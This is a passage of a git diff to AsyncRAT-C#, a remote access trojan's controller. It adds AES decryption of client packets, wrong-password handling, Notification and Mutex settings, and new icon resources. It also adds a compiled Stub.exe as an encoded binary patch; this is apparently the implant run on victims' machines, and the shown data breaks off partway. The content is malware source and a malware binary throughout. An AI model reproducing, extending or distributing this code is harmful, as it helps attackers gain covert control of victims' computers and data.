object[]; byte[] data = (byte[])array[0]; - Clients client = (Clients)array[1]; + client = (Clients)array[1]; MsgPack unpack_msgpack = new MsgPack(); - unpack_msgpack.DecodeFromBytes(data); + unpack_msgpack.DecodeFromBytes(Settings.AES.Decrypt(data)); switch (unpack_msgpack.ForcePathObject("Packet").AsString) { case "ClientInfo": @@ -94,12 +96,18 @@ namespace AsyncRAT_Sharp.Handle_Packet } } } + catch (CryptographicException) + { + new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong password", Color.Red); + // Settings.Blocked.Add(client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]); + client.Disconnected(); + return; + } catch (Exception ex) { Debug.WriteLine(ex.Message); + return; } - //GC.Collect(); - //GC.WaitForPendingFinalizers(); } } } \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs index 5fcf5e9..60cf706 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs @@ -234,6 +234,16 @@ namespace AsyncRAT_Sharp.Properties { } } + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap settings { + get { + object obj = ResourceManager.GetObject("settings", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + /// /// Looks up a localized resource of type System.Drawing.Bitmap. /// diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx index 80de15b..ac76fbb 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx @@ -127,6 +127,9 @@ ..\Resources\tomem.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\arrow_up.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Resources\play-button.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a @@ -151,6 +154,9 @@ ..\Resources\remotedesktop.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\arrow_down.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Resources\dnlib.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 @@ -181,10 +187,7 @@ ..\Resources\visit.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\arrow_down.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\Resources\arrow_up.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\settings.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.Designer.cs index 16d6331..1f5fe2b 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.Designer.cs @@ -12,7 +12,7 @@ namespace AsyncRAT_Sharp.Properties { [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] - [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.9.0.0")] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.0.0.0")] internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); @@ -70,5 +70,29 @@ namespace AsyncRAT_Sharp.Properties { this["Filename"] = value; } } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("False")] + public bool Notification { + get { + return ((bool)(this["Notification"])); + } + set { + this["Notification"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("")] + public string Mutex { + get { + return ((string)(this["Mutex"])); + } + set { + this["Mutex"] = value; + } + } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.settings b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.settings index 22812b0..aad7ab9 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.settings +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.settings @@ -14,5 +14,11 @@ + + False + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/AsyncRAT-Sharp.exe.config b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/AsyncRAT-Sharp.exe.config index f9cc18d..bc11de2 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/AsyncRAT-Sharp.exe.config +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/AsyncRAT-Sharp.exe.config @@ -22,6 +22,12 @@ + + False + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe new file mode 100644 index 0000000000000000000000000000000000000000..30456828036922824570242c0505c69eace3fde8 GIT binary patch literal 141312 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 